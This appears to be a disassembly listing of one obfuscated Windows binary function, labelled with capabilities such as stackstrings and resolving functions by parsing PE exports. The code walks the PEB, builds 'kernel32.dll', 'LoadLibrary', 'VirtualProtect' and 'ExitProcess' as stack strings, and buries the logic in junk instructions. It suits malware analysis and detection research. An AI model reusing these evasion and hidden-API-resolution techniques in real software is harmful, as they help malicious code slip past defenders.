Function at 0x42c9f0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push edi
add esp, 4
or edi, 0x9a40
or edi, 0x74d2
and edi, 0x248f
pop edi
push edi
push edx
add esp, 4
xor edi, 0xa9fb
and edi, 0x88fe
pop edi
push eax
sub eax, 0xbc61
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x42af0c
push edx
push esi
add esp, 4
xor edx, 0x8e6d
pop edx
push ebx
sub ebx, 0x1588e
add byte [ecx + 0x61c0f3], al
add byte [ebx + 0x52], bl
push edi
add esp, 4
sub edx, 0x28d1
pop edx
push eax
push edx
add esp, 4
sub eax, 0xb856
pop eax
jmp 0x42b13a
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
and ebx, 0x3fe7
or ebx, 0xa3f
pop ebx
push edi
and edi, 0x10c40
call 0x42af44
add byte [ecx + 0x45], cl
push eax
cmp al, byte ds:[ebx - 0x87efb3c]
xchg ebx, eax
jle 0x42af4d
add byte [ecx + 0x2757e7], al
add byte [edi - 0x75], bl
xchg ebp, eax
cmp bl, ch
invalid
and edi, 0x2757
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x42afbb
push esi
call 0x42af88
add byte [ebx + edi], dh
inc esp
inc esp
cmp al, 0x43
xor eax, 0x4c4833a
and esi, 0x7f93
sub esi, 0x920
and esi, 0x11438
pop esi
push edi
push esi
add esp, 4
xor edi, 0x362f
add byte [edi - 0x75], bl
invalid
in al, dx
invalid
invalid
dec dword [ecx - 0x14cf73]
invalid
jmp 0x42b0ec
cmp dword [ebp - 0xc10], 0
jle 0x42b0e0
push ebx
jmp 0x42afcf
sub ebx, 0x856c
pop ebx
push edx
call fcn.0042afe4
add byte [edx + edi], bh
inc edx
cmp al, 0x36
cmp eax, dword [ebx - 0x1d7efb3c]
add esp, 4
and edx, 0x551a
jmp 0x42aff3
dec ecx
add esp, 4
and edx, 0x551a
jmp 0x42aff3
dec edi
inc ebx
cmp eax, 0x86acc281
add byte [eax], al
add edx, 0x86ac
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
mov dh, 0x11
cmp eax, edx
je 0x42b07c
push edi
push eax
add esp, 4
jmp 0x42b01e
add edi, 0x2273
pop edi
push eax
push edi
add esp, 4
and eax, 0x1714
jmp 0x42b035
or eax, 0x344e
xor eax, 0x9e8c
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x42b064
mov dword [ebp - 0x14cc], 1
jmp 0x42b06e
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x42b0e0
push esi
add esi, 0x909b
sub esi, 0x17220
and esi, 0x159fb
pop esi
push eax
push esi
add esp, 4
and eax, 0x10c6a
xor eax, 0x9645
sub eax, 0x181dd
sub eax, 0xc78b
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x42afbb
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x42b135
push esi
push ebx
add esp, 4
call 0x42b107
add byte [0x4e4b3532], dh
aaa
xor al, byte [ebx + 0x4eb04c4]
inc esp
cmp cl, byte ds:[esi - 0x18]
or byte [eax], al
add byte [eax], al
add byte [esi + 0x4c], cl
cmp esi, dword [edi]
cmp eax, dword ss:[eax - 0x7d]
les eax, [ecx + eax*4]
into
mov byte es:[0x8b5e0000], al
test dword [eax], esi
sti
invalid
jmp 0x42ae83
push edx
add edx, 0x852f
jmp 0x42b147
sub edx, 0x1c5f
xor edx, 0xb247
pop edx
push edi
jmp 0x42b15a
xor edi, 0xf490
pop edi
push edx
push ebx
add esp, 4
jmp 0x42b16b
pop edx
mov dword [ebp - 0xa5c], 0
push edi
push ecx
add esp, 4
jmp 0x42b183
sub edi, 0x4efa
add edi, 0x25f1
and edi, 0x6716
pop edi
push esi
push esi
add esp, 4
and esi, 0x9811
and esi, 0xca9a
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
push edx
add esp, 4
call 0x42b211
add byte [esi], bh
inc esp
inc ebp
xor eax, 0x3c3e4f40
cmp dh, byte [esi]
add esp, 4
call 0x42b224
add byte [edi + 0x49], cl
xor eax, 0x3537493d
inc esp
dec esp
add esp, 4
jmp 0x42b22d
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push ebx
add esp, 4
xor edi, 0x22d0
xor edi, 0x3ac6
add edi, 0xa60e
add edi, 0x35b0
pop edi
push esi
or esi, 0xd20
xor esi, 0x11040
xor esi, 0x140e9
pop esi
push edi
call 0x42b307
add byte [edi + 0x49], al
dec ebp
inc esi
xor al, 0x43
add esp, 4
and edi, 0x7b39
sub edi, 0xf8c8
pop edi
push ecx
add ecx, 0x14335
xor ecx, 0x70be
sub ecx, 0x11f1a
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
push eax
add esp, 4
or eax, 0x2ce1
pop eax
push edx
xor edx, 0x772
sub edx, 0x16d47
xor edx, 0x3c94
xor edx, 0xf311
pop edx
push esi
push ecx
add esp, 4
sub esi, 0xca1f
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x42b39d
mov dword [ebp - 0x2e0], 0
jmp 0x42b659
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
call 0x42b3be
add byte [ebx + esi + 0x48], al
dec esp
push eax
dec ecx
aaa
cmp dword [ebx + 0x5eb04c4], eax
inc edi
inc eax
cmp dword [0xae845], esi
add byte [eax], al
add byte [edx], bh
inc ecx
dec ecx
cmp al, 0x50
cmp byte [eax + 0x34], cl
dec ebp
add esp, 4
xor edx, 0x11016
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x42b3f9
mov dword [ebp - 0x2e0], 0
jmp 0x42b659
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
add esi, 0x70fa
jmp 0x42b414
sub esi, 0x1159f
pop esi
push eax
xor eax, 0x16eb
sub eax, 0xf55a
or eax, 0x7ae
pop eax
push ecx
xor ecx, 0x12fdf
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
sub edi, 0x42f0
or edi, 0x34d3
jmp 0x42b477
xor edi, 0x82c1
pop edi
push edx
push ebx
add esp, 4
xor edx, 0x106c2
sub edx, 0xe5da
add edx, 0xacdd
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov dword [ebp - 0xf80], edx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
call 0x42b501
add byte [ebx], dh
cmp al, 0x41
dec edi
dec ebx
dec esp
xor al, 0x49
cmp al, 0x32
add esp, 4
jmp 0x42b50a
sub ebx, 0x93d4
xor ebx, 0x58
pop ebx
push edi
jmp 0x42b521
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x42b545
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x42b5a8
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x42b464
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
retf 0x840f
invalid
invalid
invalid
invalid
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42b592
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x42b59c
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x42b5f1
push ebx
push edi
add esp, 4
or ebx, 0x4480
sub ebx, 0x1f47
and ebx, 0x1477a
sub ebx, 0x13d6d
pop ebx
push ebx
add ebx, 0xc62d
and ebx, 0xe2fa
xor ebx, 0x1394a
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x42b659
push ecx
sub ecx, 0x1023
xor ecx, 0x30a8
and ecx, 0x182f0
add ecx, 0x16b9c
pop ecx
push eax
push edi
add esp, 4
and eax, 0xe621
sub eax, 0x14c54
add eax, 0xa171
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42b64f
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x42b405
mov dword [ebp - 0x2e0], 0
push esi
push edi
add esp, 4
add esi, 0x1043
and esi, 0x13204
call 0x42b677
add byte [edx], dh
xor eax, 0x383b4d36
cmp al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
dec esi
xor bh, byte [ebx + ecx*2]
add esp, 4
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x42bfa4
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov dword [ebp - 0x16b8], eax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
push eax
add esp, 4
and eax, 0xd71d
pop eax
push eax
and eax, 0x6ed0
sub eax, 0xb3f0
or eax, 0x4396
pop eax
push esi
call 0x42b75f
add byte [ebx + 0x37], al
aas
inc edi
inc ebp
inc edi
inc edi
add esp, 4
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
jb 0x42b770
test edx, ebp
idiv edi
invalid
jns 0x42b777
test ebx, ebp
idiv edi
call dword [edi - 0x3a]
test esp, ebp
idiv edi
inc dword [eax]
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
push edx
add esp, 4
or esi, 0x1703d
call 0x42b7fc
add byte [ebx + 0x42], al
dec eax
dec esi
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x81
out 0x6b, al
test al, 0
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [edx], bh
xor eax, 0x40344b42
cmp al, byte [eax - 0x7d]
les eax, [esi + ebx*2]
cmp dword [ebp - 0x14dc], 0
jne 0x42b82f
mov dword [ebp - 0x6ec], 0
jmp 0x42baeb
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
push ebx
add esp, 4
and ecx, 0xcd4a
add ecx, 0x11fd3
sub ecx, 0x15868
add ecx, 0x8871
pop ecx
push edx
xor edx, 0x180
xor edx, 0x4586
add edx, 0x16909
pop edx
cmp dword [ebp - 0xc2c], 0
jne 0x42b88b
mov dword [ebp - 0x6ec], 0
jmp 0x42baeb
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ecx
call 0x42b8a6
add byte [esi + 0x36], cl
cmp al, byte [esi + 0x4c]
aaa
dec ecx
add esp, 4
sub ecx, 0x7e0a
xor ecx, 0x20fd
call 0x42b8c5
add byte [eax + 0x43], dl
cmp al, byte [edx + 0x45]
dec edi
dec ebx
dec ebx
aaa
inc esp
add esp, 4
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
xor esi, 0xa51f
xor esi, 0xd8c6
xor esi, 0xcccd
call 0x42b919
add byte [edi], dh
xor ecx, dword [ebp + 0x4e]
xor cl, byte [eax + eax*2 + 0x48]
aas
dec ebp
add esp, 4
pop esi
push edx
push esi
add esp, 4
jmp 0x42b927
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push ecx
push esi
add esp, 4
jmp 0x42b98c
or ecx, 0x136ab
pop ecx
push esi
xor esi, 0x102d7
sub esi, 0x12cec
call 0x42b9b0
add byte [edi + 0x43], cl
inc edi
cmp eax, 0x37454946
dec edi
add esp, 4
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x42b9d7
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x42ba3a
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x42b8f6
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x42b8f6
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x42ba24
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x42ba2e
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x42ba83
push edi
push edi
add esp, 4
and edi, 0x10324
xor edi, 0x10102
sub edi, 0x583b
and edi, 0x1125b
pop edi
push esi
and esi, 0x1744c
xor esi, 0x69d4
and esi, 0x11608
pop esi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x42baeb
push eax
push esi
add esp, 4
xor eax, 0x129ef
pop eax
push ebx
add ebx, 0x4431
or ebx, 0xce64
pop ebx
push ebx
call 0x42baab
add byte [esi], dh
dec eax
dec edi
cmp al, 0x47
cmp dword [ebx + eax*4], edi
les eax, [ecx + eax*4]
retf
push ebx
push esi
add esp, 4
sub ebx, 0xeaa9
or ebx, 0x1c5b
xor ebx, 0x1c89
pop ebx
push ecx
jmp 0x42bb09
and ecx, 0xf7e2
xor ecx, 0x13d1a
jmp 0x42bb1c
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x42bb67
push eax
xor eax, 0x10b25
call 0x42bb3a
add byte [eax + edx*2], dh
xor edi, dword [ecx]
xor eax, 0xc4833a4d
add al, 0x81
invalid
push eax
xor eax, 0xc4ac
add eax, 0x13915
xor eax, 0x2a32
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x3420
add ecx, 0x141eb
sub ecx, 0x130bd
sub ecx, 0x10744
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x42bbd8
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42bec9
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x42bc00
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42bec9
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x42bc32
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x42bec9
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x42bc57
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x42bec9
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x42bcb1
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x42bebd
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x42bd21
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x42bdd3
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x42bdd3
push edx
jmp 0x42bd54
pop edx
push edi
and edi, 0xac41
xor edi, 0x48b0
call 0x42bd6e
add byte [0x4f503343], dh
cmp eax, dword [ebx + 0x535f04c4]
add al, 0x5f
push ebx
xor ebx, 0x1e72
or ebx, 0x1318a
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
cmp dh, 0xff
dec dword [edi]
mov esi, 0x80958b08
cmp dh, 0xff
dec dword [edi]
mov esi, 0xf7e01584
invalid
invalid
cmp ecx, eax
je 0x42bdc5
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x42bdcc
jmp 0x42bd12
jmp 0x42bdd3
push edx
sub edx, 0x6e99
and edx, 0x17b15
call 0x42bdf0
add byte [eax], bh
dec esp
inc ebp
aaa
dec ecx
cmp byte ss:[edi - 0x7d], al
les eax, [ebx + ebp*8]
pop es
dec ebp
dec ecx
dec ebx
dec ebx
inc eax
aaa
dec ebp
pop edx
push esi
sub esi, 0x15dd1
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
cmp dh, 0xff
dec dword [edi]
mov esi, 0xf7e00d94
idiv edi
invalid
cmp eax, edx
jne 0x42be32
mov dword [ebp - 0xc30], 0
jmp 0x42bea1
push edi
add edi, 0x1471a
jmp 0x42be3e
add edi, 0x13c1f
pop edi
push esi
push edx
add esp, 4
jmp 0x42be51
and esi, 0xa766
and esi, 0x181da
xor esi, 0x1323f
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x42be97
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x42bea1
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x42beb8
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x42bec9
jmp 0x42bca2
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x42bfa4
push esi
add esi, 0x285f
sub esi, 0xc4fd
pop esi
push esi
and esi, 0xad67
jmp 0x42bef0
jmp 0x42bef8
call 0x42bf04
add byte [edi + 0x4a], cl
dec ebx
cmp dword [ecx + 0x3f], eax
add esp, 4
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
add esi, 0x6564
jmp 0x42bf21
add esi, 0xb1c0
pop esi
push edx
push edi
add esp, 4
add edx, 0x15241
sub edx, 0x11fb3
xor edx, 0x4e08
or edx, 0xa288
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
out 0xff, eax
invalid
test eax, eax
jne 0x42bfa4
push esi
push eax
add esp, 4
add esi, 0x161b1
or esi, 0x4b77
and esi, 0xb735
pop esi
push esi
push ecx
add esp, 4
sub esi, 0x5237
out dx, al
aaa
push edx
add byte [eax], al
xor esi, 0x9d1f
pop esi
push ebx
sub ebx, 0x154b4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x42c68e
push edi
push ebx
add esp, 4
call 0x42bfb8
add byte [0x32474a39], bh
inc edi
inc ebp
aaa
inc ebx
add esp, 4
add edi, 0x768e
xor edi, 0xf2cd
add edi, 0xef1d
pop edi
push eax
or eax, 0x103ee
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
call 0x42c00d
add byte [edi], dh
inc ecx
inc edx
xor ecx, dword [esi + 0x3c]
inc eax
xor esi, dword [edi]
add esp, 4
pop edx
push eax
sub eax, 0x100bc
and eax, 0xfa80
call 0x42c02b
add byte [eax], bh
aaa
inc ebx
inc esi
cmp edi, dword [edi]
cmp al, byte [ebx - 0x7ca7fb3c]
mov ebp, 0xffffeb0c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp fcn.0042c2ee
push edi
jmp 0x42c695
xor edi, 0xf6b0
pop edi
push edx
push edi
add esp, 4
sub edx, 0xd545
or edx, 0x13de6
out 0x3d, al
add dword [eax], eax
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x17906
and ecx, 0xc963
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
or edi, 0x2bb4
and edi, 0x47d4
jmp 0x42c6e3
jmp 0x42c6e8
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x10c4e
add ecx, 0x79ff
sub ecx, 0x1319a
add byte [ecx - 0x7d], bl
mov ebp, 0xfffffc34
invalid
je 0x42c713
cmp dword [ebp - 0xa5c], 0
jne 0x42c759
push ebx
push edi
add esp, 4
and ebx, 0xcb67
jmp 0x42c723
pop ebx
push esi
call 0x42c731
add byte [edx], dh
dec ecx
inc esp
cmp edi, dword [ebx]
cmp eax, dword [ebx + 0x3eb04c4]
aaa
push eax
aaa
jmp 0x42c73e
sub esi, 0x102cc
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
push esi
add esp, 4
sub edx, 0xf980
xor edx, 0xfaf7
call 0x42c782
add byte [eax + ecx*2 + 0x4f], cl
inc ecx
dec esi
dec ebx
xor dh, byte [esi]
add esp, 4
or edx, 0xb21
pop edx
push eax
jmp 0x42c794
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
push esi
add esp, 4
and edx, 0xf536
call 0x42c7db
add byte [esi + 0x3c], al
inc eax
aas
cmp cl, byte [edi + 0x39]
inc eax
cmp byte [ebx - 0x7d], cl
les eax, [edx + ebx*2]
push eax
jmp 0x42c7e5
or eax, 0x10a87
and eax, 0x8903
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
push ebx
add esp, 4
xor edx, 0x12578
or edx, 0xc007
pop edx
push edi
push eax
add esp, 4
jmp 0x42c877
and edi, 0x928e
jmp 0x42c886
and edi, 0x663c
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
call 0x42c8c2
add byte [esi], bh
cmp al, 0x41
dec edi
dec esp
dec esp
inc eax
add esp, 4
add edi, 0xa7f8
xor edi, 0x12f60
xor edi, 0x8abc
pop edi
push edx
jmp 0x42c8df
or edx, 0xfd3c
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x42c8fe
mov dword [ebp - 0x2a8], 0
jmp 0x42cba5
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
push ebx
add esp, 4
sub ebx, 0x5d78
add ebx, 0x14f90
xor ebx, 0x1079c
xor ebx, 0x15276
pop ebx
push edx
and edx, 0x83db
and edx, 0x3ede
xor edx, 0x8580
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x42c95a
